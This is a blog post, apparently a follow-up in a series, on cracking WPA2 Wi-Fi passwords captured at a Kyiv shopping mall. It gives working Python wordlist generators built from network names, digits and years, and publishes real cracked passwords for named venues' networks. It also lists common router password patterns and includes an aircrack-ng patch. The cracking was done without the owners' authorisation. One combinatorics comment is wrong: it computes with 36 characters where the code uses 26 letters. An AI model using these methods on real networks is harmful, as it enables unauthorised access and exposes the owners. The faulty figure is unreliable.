[Math] Cracking Wi-Fi password using combinatorics, part II

Previously

Now the proof of concept. For a field work, to collect some WPA2 handshakes, I visited one of the popular and crowdy shopping malls of Kiev/Kyiv, "Dreamtown". Often, it's name is shortened just to "Dream". Also, I knew that the "Dream team" phrase is often used among mall employes.

I recorded some WPA2 handshakes using airmon/airodump.

First, "DREAMNET" ESSID.

The code:

#!/usr/bin/env python3

# WPA2 standard min/max password length: [8-63]

import itertools, sys

# utils:
# from https://stackoverflow.com/questions/1549641/how-can-i-capitalize-the-first-letter-of-each-word-in-a-string
def capitalize_string(s):
    return s[0].upper()+s[1:]

def capitalize_differently(words):
    tmp=[]
    for word in words:
        tmp=tmp+[word, capitalize_string(word), word.upper()]
    return tmp

lists=[]

words=["net"]
for word in words:
    lists.append(capitalize_differently([word]))

lists.append(capitalize_differently(["dream"]))
lists.append(capitalize_differently(["team", "town"]))

max_digit_string=10

tmp=[]
for digit in range(0, 9+1):
    tmp=tmp+[str(digit)*i for i in range(1, max_digit_string+1)]
lst1a=["".join(map(str,range(0, i+1))) for i in range(max_digit_string)]
lst1b=["".join(map(str,range(1, i+1))) for i in range(1, max_digit_string+1)]
years=list(map(str, range(2009, 2024+1)))
lists.append(tmp+lst1a+lst1b+years)

# narrow down to these only:
special="-_ "
# add twice:
lists.append(list(special))
lists.append(list(special))

for lst in lists:
    sys.stderr.write (str(lst)+"\n")

# from https://stackoverflow.com/questions/18035595/powersets-in-python-using-itertools
def powerset(s):
    n = len(s)
    for r in range(1, n+1):
        for combo in itertools.combinations(s, r):
            yield combo

# to be realistic
pw_max_len=15

total=0
for s in powerset(lists):
    # find cartesian product
    for l in itertools.product(*s):
        # skip long passwords early:
        s="".join(l)
        if len(s)<8 or len(s)>=pw_max_len:
            continue
        # find all possible permutations
        for i in list(itertools.permutations(l)):
            s="".join(i)
            # skip long passwords:
            if len(s)<8 or len(s)>=pw_max_len:
                continue
            print (s)
            total+=1
            if (total % 1_000_000)==0:
                sys.stderr.write (f"heartbeat (once per 1M) {total=} cur pw: {s}\n")

sys.stderr.write (f"{total=}\n")
['net', 'Net', 'NET']
['dream', 'Dream', 'DREAM']
['team', 'Team', 'TEAM', 'town', 'Town', 'TOWN']
['0', '00', '000', '0000', '00000', '000000', '0000000', '00000000', '000000000', '0000000000', '1', '11', '111', '1111', '11111', '111111', '1111111', '11111111', '111111111', '1111111111', '2', '22', '222', '2222', '22222', '222222', '2222222', '22222222', '222222222', '2222222222', '3', '33', '333', '3333', '33333', '333333', '3333333', '33333333', '333333333', '3333333333', '4', '44', '444', '4444', '44444', '444444', '4444444', '44444444', '444444444', '4444444444', '5', '55', '555', '5555', '55555', '555555', '5555555', '55555555', '555555555', '5555555555', '6', '66', '666', '6666', '66666', '666666', '6666666', '66666666', '666666666', '6666666666', '7', '77', '777', '7777', '77777', '777777', '7777777', '77777777', '777777777', '7777777777', '8', '88', '888', '8888', '88888', '888888', '8888888', '88888888', '888888888', '8888888888', '9', '99', '999', '9999', '99999', '999999', '9999999', '99999999', '999999999', '9999999999', '0', '01', '012', '0123', '01234', '012345', '0123456', '01234567', '012345678', '0123456789', '1', '12', '123', '1234', '12345', '123456', '1234567', '12345678', '123456789', '12345678910', '2009', '2010', '2011', '2012', '2013', '2014', '2015', '2016', '2017', '2018', '2019', '2020', '2021', '2022', '2023', '2024']
['-', '_', ' ']
['-', '_', ' ']
total=4199442

Only ~4M passwords.

Random sample from passwords list:

netdream2011-_
 NETTOWN_2
dream-1-Team
_town77777Net
  333TeamNet
Town_Dream-1
-net_111Team
-2009Dream-Net
 TEAM44Net_
Dream1234567_

As it happened, the correct password is 'Dreamteam1'.

Another Wi-Fi-router I found here has ESSID 'IRIS_WIFI'.

Code difference:

@@ -17,7 +17,7 @@

 lists=[]

-words=["net"]
+words=["iris"]
 for word in words:
     lists.append(capitalize_differently([word]))

Only ~3M passwords.

Random sample from passwords list:

-DREAM_333IRIS
1234567-DREAM-
 _TOWNdream11
Town7777 Iris
DREAM5_-Town
-1TEAM iris
 IRIS Team8888
iris-TEAM55
_TEAM_iris66
 Dream55iris

The correct password is 'dreamiris'.

And finally, the ESSID 'Crema_Caffe_Dream_Town'.

Code difference:

@@ -17,12 +17,10 @@

 lists=[]

-words=["net"]
-for word in words:
-    lists.append(capitalize_differently([word]))
-
 lists.append(capitalize_differently(["dream"]))
 lists.append(capitalize_differently(["team", "town"]))
+lists.append(capitalize_differently(["crema", "cream"]))
+lists.append(capitalize_differently(["caffe", "cafe"]))

 max_digit_string=10

I added the 'cream' word, because my bank app reports 'creamacoffee' as their official company's name.

['dream', 'Dream', 'DREAM']
['team', 'Team', 'TEAM', 'town', 'Town', 'TOWN']
['crema', 'Crema', 'CREMA', 'cream', 'Cream', 'CREAM']
['caffe', 'Caffe', 'CAFFE', 'cafe', 'Cafe', 'CAFE']
['0', '00', '000', '0000', '00000', '000000', '0000000', '00000000', '000000000', '0000000000', '1', '11', '111', '1111', '11111', '111111', '1111111', '11111111', '111111111', '1111111111', '2', '22', '222', '2222', '22222', '222222', '2222222', '22222222', '222222222', '2222222222', '3', '33', '333', '3333', '33333', '333333', '3333333', '33333333', '333333333', '3333333333', '4', '44', '444', '4444', '44444', '444444', '4444444', '44444444', '444444444', '4444444444', '5', '55', '555', '5555', '55555', '555555', '5555555', '55555555', '555555555', '5555555555', '6', '66', '666', '6666', '66666', '666666', '6666666', '66666666', '666666666', '6666666666', '7', '77', '777', '7777', '77777', '777777', '7777777', '77777777', '777777777', '7777777777', '8', '88', '888', '8888', '88888', '888888', '8888888', '88888888', '888888888', '8888888888', '9', '99', '999', '9999', '99999', '999999', '9999999', '99999999', '999999999', '9999999999', '0', '01', '012', '0123', '01234', '012345', '0123456', '01234567', '012345678', '0123456789', '1', '12', '123', '1234', '12345', '123456', '1234567', '12345678', '123456789', '12345678910', '2009', '2010', '2011', '2012', '2013', '2014', '2015', '2016', '2017', '2018', '2019', '2020', '2021', '2022', '2023', '2024']
['-', '_', ' ']
['-', '_', ' ']
total=8325546

Random sample from passwords list:

-2DREAMcream
town2016cafe
__Town88
 _33333333town
7creamtown_
_5cream_DREAM
-TEAM 1crema
8 CAFE_Team
-999Town_CAFE
-Cream 555Town

The correct password is 'cremacaffe2020'

These 3 ESSID and passwords are real. I don't feel I did something wrong by cracking and publishing it all. These are semi-open public Wi-Fi's, passwords for which you can just ask at the bar. (Often, these passwords are written somewhere on A4 paper hanging at wall.)


Now other passwords I used to crack Wi-Fi passwords.

Sometimes, the password is just <ESSID>. Sometimes, if ESSID is something like 'ACME CAFE', password can be just 'acmecafe'.

A very popular password is just DDMMYYYY or YYYYMMDD (date). People just can't realize that many Wi-Fi routers have it. Of course, these are so easy to remember for owners. I once rented a flat in Kiev/Kyiv and landlord said me that the Wi-Fi's password is either <date 1> or <date 2>, and judging by these days and landlord's age, these dates could be birthdays of his kids. Of course, such passwords are so easy to crack. (U.S. people should also try MMDDYYYY and YYYYDDMM format.)

A popular password also is <year 1><year 2>. These may be years of birth of husband and wife or of two kids.

A popular password is <ESSID><year> or <ESSID>_<year>.

A popular password is <ESSID><number> where <number> is often just 1234, 123456, etc. (But may be other number.)

In all these cases, <ESSID> must be in 3 forms at least: lowercase, uppercase, lowercase with first letter uppercased.

Also, I've seen password like <company_name>_wifi, where <company_name> was too short to make 8-character password.

Also, you can try to permute all digits in 0-9 range. I've seen password like '12345687':

#!/usr/bin/env python3

import itertools

x="1234567890"

# total: C(10,8)*8! + C(10,9)*9! + C(10,10)*10! = 9,072,000
# https://www.wolframalpha.com/input?i=C%2810%2C8%29*8%21+%2B+C%2810%2C9%29*9%21+%2B+C%2810%2C10%29*10%21
for l in range(8, 10+1):
    for y in itertools.combinations(x, l):
        for z in itertools.permutations(y):
            print ("".join(z))

Also, just a 8-10 digit number. Many passwords (\( 10^8 \) (hundred millions), \( 10^{10} \) (ten billions)), but still doable.

Using these simple techniques, I successfully (and quickly) cracked maybe \( \approx \frac{1}{3} \) of all WPA2 handshakes I captured in shopping malls and other public places.

Next, a popular password is of form , where is just taken from dictionary. Note: when converting Russian/Ukrainian words to Latin characters, various (including erroneous) transliteration/transformation rules should be used: 1, 2. (This is easy.) Take 10,000-20,000 most popular English/Russian/Ukrainian words, transliterate if needed, add numbers like 1, 123, 12345, and this could be enough for many Wi-Fi routers.

Of course, such passwords are OK for cafes/bars, but inacceptable for an office router of some company.


Also, airmon/airodump captures some 'PMKID' info. I don't know what is this, but I noticed this info overshadows previously captured WPA2 handshake. I modified aircrack slightly so that it ignores this 'PMKID' thing:

% git diff -u
diff --git a/src/aircrack-ng/aircrack-ng.c b/src/aircrack-ng/aircrack-ng.c
index 438be6b6..9eacdb44 100644
--- a/src/aircrack-ng/aircrack-ng.c
+++ b/src/aircrack-ng/aircrack-ng.c
@@ -1658,7 +1658,7 @@ skip_station:
 #endif
                                        if (pos + 1 > rsn_len) goto rsn_out;
                                        pos += 1; // advance over tag value
-
+#if 0
                                        if (key_descriptor_version > 0
                                                && memcmp(ZERO, &p[pos], 16) //-V512
                                                           != 0)
@@ -1672,6 +1672,7 @@ skip_station:
                                                /* copy the key descriptor version */
                                                st_cur->wpa.keyver = key_descriptor_version;
                                        }
+#endif
                                }
                        }

I don't know if it's good or bad. But worked for me.


And by the way.

It's interesting to see how these lists of generated passwords can be compressed.

115525927 crema
  4012096 crema.xz

>>> 4012096/115525927
0.03472896607875737

Only 3 percents left of the original (text) file, because it's so redundant. But ideal compressor would generate my Python code (or similar) that generated that text file.


It's also possible that the 8-character password containing non-repeating Latin letters. How many passwords are there?

#!/usr/bin/env python3

import itertools

x="qwertyuiopasdfghjklzxcvbnm"

# total: C(36,8)*8! = ~1.2*10^12
# https://www.wolframalpha.com/input?i=C%2836%2C8%29*8%21
for y in itertools.combinations(x, 8):
    for z in itertools.permutations(y):
        print ("".join(z))

Slightly larger than one trillion. First, we find a number of all combinations (36 choose 8 or \( \binom{36}{8} \)), then multiply by number of permutations (factorial).

8-character password containing 0-9a-z characters? C(36+10,8)*8! = \( \approx 10^{13} \).

(the post first published at 20240917.)


List of my other blog posts.

Subscribe to my news feed,

Yes, I know about these lousy Disqus ads. Please use adblocker. I would consider to subscribe to 'pro' version of Disqus if the signal/noise ratio in comments would be good enough.